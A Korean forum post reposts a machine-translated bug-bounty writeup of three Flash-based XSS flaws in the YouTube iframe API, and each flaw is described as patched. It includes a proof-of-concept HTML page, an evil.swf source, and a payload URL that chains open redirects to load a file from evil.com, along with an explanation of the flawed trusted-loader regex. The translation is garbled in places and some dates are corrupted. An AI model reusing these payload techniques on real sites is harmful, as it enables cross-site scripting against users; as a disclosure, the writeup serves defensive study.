메인 공지사항 기능소개 매뉴얼     TEST BOARD : [1]  [2]  [3]  [4]  [5]
내용없음9
내용없음10
     질문,답변
사용자 질문답변(29,404)

      - 활용,응용 (14,178)

      - 설치,DB (2,485)

      - PHP (1,895)

      - HTML (444)

      - 쇼핑몰 (3,469)

      - 모바일 (527)

      - 관리설정 (887)

      - 업데이트 (123)

      - 홈페이지 (775)

      - 컨텐츠몰 (156)

      - 회원관리 (270)

      - 게시판 (900)

      - 확장기능 (404)

      - 기타분류 (2,889)

잦은 질문 FAQ

비회원(손님) Q&A
펄 CGI 버전 Q&A

결제, 비밀번호 분실
 
QnA : IV. Youtube iframe api의 플래시 기반 XSSes
  questions & answers
사용자 질문,답변
   
  작성자 항산
  분 류 게시판
  홈페이지 제작경력 완전초보
ㆍ조회: 56  ㆍ추천: 0         
ㆍ작성일: 2017/12/03 (일) 20:15
IV. Youtube iframe api의 플래시 기반 XSSes

IV. Youtube iframe api의 플래시 기반 XSSes

사람들이 Youtube Flash 취약점에 대한 저의 이전 게시물을 흥미롭게 찾았습니다 . 새로운 필기장을 계속 게시 해 드리겠습니다.

이번에는 플래시 유실과 함께 새로운 Youtube html5 API3 개의 플래시 기반 XSS를 공개 할 예정입니다.

<?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" />


엔트리 포인트가 youtube.com/embed/[VIDEO_ID]에 위치한 iframe이므로 Youtube html5 apiYouTube iframe api 라고 합니다.

iframe이로드되면 브라우저가 html5를 사용하여 동영상을 재생할 수 있는지 먼저 확인하고 그렇지 않은 경우 플래시 대체를 사용합니다. 최근까지는 nohtml5 = 1 URL 매개 변수를 사용하여 모든 브라우저에서 플래시 폴백을 강제 실행할 수있었습니다. 이것이 우리가 여기서 할 일입니다.


플래시 폴백을 사용하는 Youtube iframe API의 워크 플로는 다음과 같습니다.




1 부 에서 Youtube Flash API의 워크 플로와 비교 하면 플래시 파일 인 "Youtube Wrapper"iframe "Youtube Embed"로 바뀌었고 결과적으로 javascript API로 플래시가 postMessage api sharedEvent api로 대체되었습니다. javascript api에 플래시로 대체되었습니다. 이렇게하면 Flashjavascript가 매우 유사한 방식으로 구현된다는 점만 알 수 있습니다.


Youtube Flash API Youtube iframe APIFirefox , Chrome , Safari 와 매우 유사하므로 <object data = "youtube.com/v/[VIDEO_ID]"> (YouTube Flash API)가 자동으로 대체 되는 재미 있고 이상한 동작을 구현했습니다. <object data = "youtube.com/embed/[VIDEO_ID]"> (YouTube iframe api)에서 <object>가 실제로 iframe으로 작동합니다. 그 목적은 오래된 웹 사이트가 웹 사이트 자체를 변경하지 않고 Youtube iframe api로 전환하도록하는 것입니다.

youtube.com에서 플래시 기반 XSS를 실행하려면 youtube.com에있는 플래시 파일을 검색 주소창에서 직접로드하거나 youtube.com에있는 html 페이지에 포함 된 플래시 파일을 이용해야합니다. YouTube에서 youtube.com/embed에 포함 된 플래시 파일 인 'Main App'을 활용하고 youtube.com/embed에서 임의의 자바 스크립트를 실행합니다.

외부 웹 사이트에서 Youtube iframe을 삽입하면 playVideo (), pauseVideo () 등의 postMessage api를 사용하여 YouTube iframe에 명령 을 보낼 수 있습니다. 그런 다음 Youtube iframe에서 플래시 기본 앱에 명령을 전송합니다 javascript API).




1. loadPlaylist 명령을 사용하여 플래시 기반 XSS

한 가지 특별한 명령은 Youtube iframe을 재생 목록으로로드하는 loadPlaylist () 입니다. loadPlaylist ()의 인수는 Youtube 재생 목록 ID 또는 Youtube 비디오 ID 배열 일 수 있습니다. Youtube 동영상 ID 배열을 사용하는 경우 각 동영상에 임의의 포스터 (미리보기 이미지) 이미지 URL을 삽입 할 수 있습니다.

Flash에서 이미지를로드하는 것은 Loader.load ()를 사용하여 외부 Flash 파일을로드하는 것과 유사하므로이를 사용하여 임의의 Flash 파일을로드 할 수 있습니다. 메인 앱은 포스터 이미지의 URLyoutube.com URL인지 확인한 다음 이미지를로드합니다. 이제 Google은 공개 리디렉션이 보안 문제라고 생각하지 않을 수 있습니다. 이렇게하면 임의의 위치로 리디렉션되는 youtube.com URL을 제공하기 만하면되므로 URL 위생을 매우 어렵게 만듭니다. youtube.com에서 직접 열린 리디렉터를 찾지 못했습니다. 그러나 google.com URL로 리디렉션되는 youtube.com URL을 발견했습니다. 거기에서 쉽게 goil.com에서 evil.com으로 리다이렉트하는 열린 리다이렉터를 찾을 수있었습니다. 전체 URL 페이로드는


https://accounts.youtube.com/accounts/SetSID?continue=https://www.google.com/amp/s/evil.com/evil.swf


evil.swfyoutube.com/embed에로드되면 youtube.comXSS를 의미하는 자바 스크립트 API에 플래시를 사용하여 임의의 자바 스크립트를 실행할 수 있습니다!

참고 : 기본적으로 html 호스트 페이지와 동일한 도메인에있는 플래시 파일 만 플래시 API를 사용하여 javascript API를 사용할 수 있습니다. 그러나 youtube.com/embed/[VIDEO_ID]에서 Main App <object> 태그에는 " allowscriptaccess = always " 속성이 포함되어 있습니다. , 기본 앱에 의해로드 된 모든 플래시 파일은 플래시를 사용하여 YouTube에서 javascript API로 사용할 수 있습니다. co.kr / embed / [VIDEO_ID]

다음은 POC의 워크 플로입니다.




evil.com/evil.html 소스 코드 :


<!DOCTYPE html>

<html>

<body>

<!-- Youtube iframe api with forced Flash fallback -->

<iframe id="player" src="https://www.youtube.com/embed/?nohtml5=1"></iframe>

<script>

// Wait 5 seconds to let the Youtube iframe fully load

setTimeout(

function(){

// Send the loadPlaylist command to the Youtube iframe using postMessage api, with the image payload

document.getElementById("player").contentWindow.postMessage('{"command":"loadPlaylist","data":[{"video_id":"xyz","iurl":"https://accounts.youtube.com/accounts/SetSID?continue=https%3A%2F%2Fwww.google.com%2Famp%2Fs%2Fevil.com%2Fevil.swf"}]}', "*");

}

, 5000);

</script>

</body>

</html>

evil.swf 소스 코드 :


public class Main extends Sprite {

public function Main(){

// Execute arbitrary javascript on youtube.com/embed using ExternalInterface (Flash to javascript api)

ExternalInterface.call("alert", "document.domain + ' XSSed!'");

}

}

공격 시나리오 :

선수 조건 : Flash Player가 활성화되어 있어야합니다.

1. 희생자가 evil.com/evil.html을 방문합니다

. 2. evil.htmlyoutube.com/embed iframe을로드합니다.

3. evil.htmlloadPlaylist 페이로드를 보냅니다.

4. youtube.com/ evil.swf

5. evil.swfyoutube.com/embed에서 XSS를 실행합니다.


완화

조치 : GoogleloadPlaylist 인수에서 사진 URL을 고려하지 않도록 기본 앱을 패치했습니다.


타임 라인 :

10/05/2016 Google

에보고 10/11/2016 "멋진 캐치"및 보상

11/09/2016 버그 수정 및 확인




2. 신뢰할 수있는 로더 정규 표현식을 사용하는 플래시 기반 XSS

playVideo () 또는 loadPlaylist ()와 같은 공개 명령 외에도 Youtube API에는 Youtube iframe을로드하는 웹 페이지가 신뢰할 수있는 확인 된 출처 (: youtube.com 또는 drive.google.com/) 인 경우에만 사용할 수있는 비공개 명령이 있습니다. 트리플 엑스). 이를 위해 Main App은 정규 표현식에 저장된 화이트리스트를 사용합니다. 정규식은 다음과 같습니다.

public static const trustedLoader:RegExp = new RegExp("^https?://((www\.|encrypted\.)?google(\.com|\.co)?\.[a-z]{2,3}/(search|webhp)\?|24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf|www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris|tpc\.googlesyndication\.com/safeframe/|lightbox-(demos|builder)\.appspot\.com/|([A-Za-z0-9-]{1,63}\.)*(imasdk\.googleapis\.com|corp\.google\.com|borg\.google\.com|docs\.google\.com|drive\.google\.com|googleads\.g\.doubleclick\.net|googleplex\.com|play\.google\.com|prod\.google\.com|sandbox\.google\.com|photos\.google\.com|picasaweb\.google\.com|lh2\.google\.com|plus\.google\.com|books\.googleusercontent\.com|mail\.google\.com|talkgadget\.google\.com|survey\.g\.doubleclick\.net|youtube\.com|youtube\.googleapis\.com|youtube-nocookie\.com|youtubeeducation\.com|vevo\.com)(:[0-9]+)?([\/\?\#]|$))");

더 많은 것을 읽기 전에, 당신은 정규식을 직접 확인하고 그것에 실수를 찾으려고 노력해야합니다!



"."(도트)Regex의 와일드 카드로 어떤 문자와도 일치합니다. 리터럴 점만 일치 시키려면이 "\"와 같이 이스케이프 처리해야합니다.

trustedLoader RegExp에는 다음 코드가 있습니다.


24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf


여기서 도트는 이스케이프되지 않습니다. 즉 점을 임의의 문자로 대체 할 수 있으며 Regex와 여전히 일치합니다.

특히, HTTP에서 : // 24e12c4a-A-95274a9c-S-사이트 googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf는 정규 표현식과 일치하며,이 도메인은 소유하지 않은 Google. 내가 1 $를 위해 그것을 샀을 정도로 그것은 이용할 수 있었다! (당신은 대신의 영숫자 문자를 사용할 수 있습니다) 나는 HTTP에서 HTML 페이지를 호스팅 : // 24e12c4a-A-95274a9c-S-사이트 googlegroups.com/a/google.com/flash-api-test-harness/apiharness .swfYoutube iframe을로드하고 Youtube API의 비공개 명령에 액세스 할 수 있습니다.

비공개 커맨드에는 loadPlaylist ()와 똑같은 포스터 이미지로 임의의 플래시 파일을 삽입 할 수있는 updateVideoData () 함수가 있습니다. 나머지 보고서는 이전 보고서와 유사하므로 자세히 설명하지 않겠습니다.


완화

조치 : Google은 신뢰할 수있는 로더 정규 표현식을 패치하여 24e12c4a-a-95274a9c-s-sites \ .googlegroups \ .com / a / google \ .com / flash-api-test-harness / apiharness \ .swf와 같은 점을 올바르게 피할 수있게되었습니다.


타임 라인 : 11/22/2016

Google에 신고 2011 11 29

보상

01/18/2017 수정 및 확인 된 문제




3. 플래시 기반의 XSS를 사용하여 trustedLoader regex ... 다시!

trustedLoader 정규식을 다시 살펴 보겠습니다. 아직 문제가 있습니다! 예를 들어


google(\.com|\.co)?\.[a-z]{2,3}

도메인이 Google 소유 도메인인지 확인하는 안전한 방법이 아닙니다.

google.com.fun

예를 들어 정규 표현식과 일치하지만 Google 소유 도메인은 아닙니다.

다른 예를 들어 봅시다.

www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris

신뢰할 수있는 URL로 간주됩니다. 그러나 다른 www.gstatic.com 웹 페이지에는 XSS가 있으며 www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris에서 임의의 javascript를 실행 한 다음 YouTube iframe을로드하고 updateVideoData ( ) 명령을 실행하고 youtube.com/embed에서 XSS를 실행합니다.

공격 워크 플로를 그려 봅시다.




기술적 인 세부 사항 :

선수 조건 : 피해자는 Flash Player를 가지고 www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf?chartId=

[임의의 javascript ]를 엽니 다. 1. 임의의 javascriptwww.gstatic.com/을 만듭니다. charts / motionchart / 0 / ko_KR / tlz-gviz.swf https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris에서 iframe을로드하십시오

. 2-3-4. 임의의 자바 스크립트는 youtube.com/embed

5 에서 https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris iframe을로드합니다 . 임의의 자바 스크립트는 iframe

6YouTubeupdateVideoData () 명령을 보냅니다 . https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris가 신뢰할 수있는 로더이기 때문에 Youtube iframe에서 명령을 승인하고 기본 앱으로 전송합니다.

7. 주요 응용 프로그램은 임의의 플래시 파일을로드합니다 (이전 리다이렉션은 이전에 수정 되었기 때문에 이번에는 열린 리다이렉션이었습니다).

8. 악의적 인 플래시 파일은 youtube.com/embed에서 XSS를 실행합니다.




완화 :

Youtubenohtml5 = 1 옵션을 제거하여 플래시 폴백을 강제 실행했습니다. 여전히 유사한 취약점이 있지만 html5를 사용하여 비디오를 재생할 수없는 브라우저로 제한됩니다. 이것은 일반적으로 Bug Bounty 프로그램의 범위를 벗어난 아주 오래된 브라우저입니다.


타임 라인 :

02/02/2017 Google에 신고

2011 2 2 일 에두아르도 (Eduardo)"멋진 이야기", Google 연구 보조금 프로그램 에 신청하라고 조언 한 사람 02/14/2017

사례금

04/11/2017 문제 수정 및 확인


결론 :

플래시와 자바 스크립트는 매우 유사하며 함께 사용할 수 있거나 서로 바꿀 수 있다는 것을 알 수 있습니다. 플래시 보안과 자바 스크립트 보안에 대해서도 마찬가지입니다. 따라서 (특히 플래시 폴백이있을 때)보다 안전한 자바 스크립트 애플리케이션을 구현하기 위해 플래시 구현 취약점에 대해 배우는 것이 유용하다고 생각합니다. 또한 플래시 기반 XSSDOM 실행과 매우 유사하다는 것을 알 수 있습니다. XSS는 코드 실행 중에 만 나타나며 웹 응용 프로그램 방화벽, XSS 감사 자나 취약성 검색 프로그램과 같은 브라우저 기반 완화 기능으로는 포착 할 수 없습니다.


읽어 주셔서 대단히 감사 드리며, Google VRP 팀에 정말 감사드립니다. 정말 놀라운 일을하고 있기 때문입니다.


앞으로 YouTube, Facebook, WordPress 등에서 더 많은 자바 스크립트 / 플래시 버그가 공개 될 것이며 천천히 Flash를 제거하고 해당 도메인에서 순수한 자바 스크립트 취약점을 공개 할 것입니다.

       
항산
2017-12-03 20:19
구글에서 번역한 글이라 문맥이 어순선 합니다.
요즘 유투브 오류로 답답해 하시는 분 많은것 같아서 퍼 왔습니다.
유능한 분이시면 해결 방법이 있지 않을까 해서 올려봅니다.
     
  0
3500
FILE #1 .
FILE #2 .
FILE #3 .
FILE #4 .
FILE #5 .
FILE #6 .
FILE #7 .
FILE #8 .
FILE #9 .
FILE #10 .
번호     글 제 목  작성자 작성일 조회
29404 쇼핑몰 관리자가 설정한것과 다른 쇼핑카테고리    서나 2017-12-13 5
29403 쇼핑몰 카테고리 변경했는데 메인 화면이 이상해졌습니다. [7]    미영쌤 2017-12-12 43
29402 쇼핑몰 상품코너 분류 카테고리 메뉴를 닫힘상태로 출력하게 하려면 [3]    미영쌤 2017-12-11 40
29401 홈페이지 This document does not exist. 메세지 어디서? [1]    희선 2017-12-11 29
29400 기타 블럭체인도 오픈소스라던데...    테크폐인 2017-12-11 25
29399 PHP 댓글달때 글자수 줄이기 질문입니다! [5]+5    아이케 2017-12-05 119
29398 회원관리 필수항목(주민등록번호)제거 하는방법 [1]    antlan 2017-12-05 55
29397 게시판 IV. Youtube iframe api의 플래시 기반 XSSes [1]    항산 2017-12-03 56
29396 홈페이지 메인페이지에서 각종보드 제목 수정하는법 [2]    솔뫼바람 2017-12-02 68
29395 업데이트 lg유플러스 전자결제 최신버전 적용방법 팁좀 부탁 드려요 [1]    소스 2017-12-01 46
29394 설치 글자 크게 하는 방법 문의? [2]    준호 2017-11-29 70
29393 관리설정 회원정보보기에서 [2]    네잎크로버 2017-11-25 66
29392 게시판 멀티설정시 링크 부분 문의 드립니다..꾸벅 [4]    남일 2017-11-23 82
29391 홈페이지 홈페이지 수정할 파일 문의 드립니다. [1]    Raine 2017-11-21 81
29390 쇼핑몰 쇼핑몰 카테고리 클릭시 뿌려지는 상품    준호 2017-11-20 61
29389 쇼핑몰 프레임간격 없애는 방법 아시는 분~~~ [1]    준호 2017-11-19 73
29388 관리설정 무료 다운로드 회원레벨 문의 [1]+1    네잎크로버 2017-11-17 70
29387 쇼핑몰 전체관리-주문관리-주문서> 기본목록 >main 검색 [2]    삼베 2017-11-17 48
29386 홈페이지 테크노트 두개설치 [2]    삼베 2017-11-15 82
29385 관리설정 editor 모드가 작동하지 않네요 [2]    서산 2017-11-14 75
12345678910111213,,,1471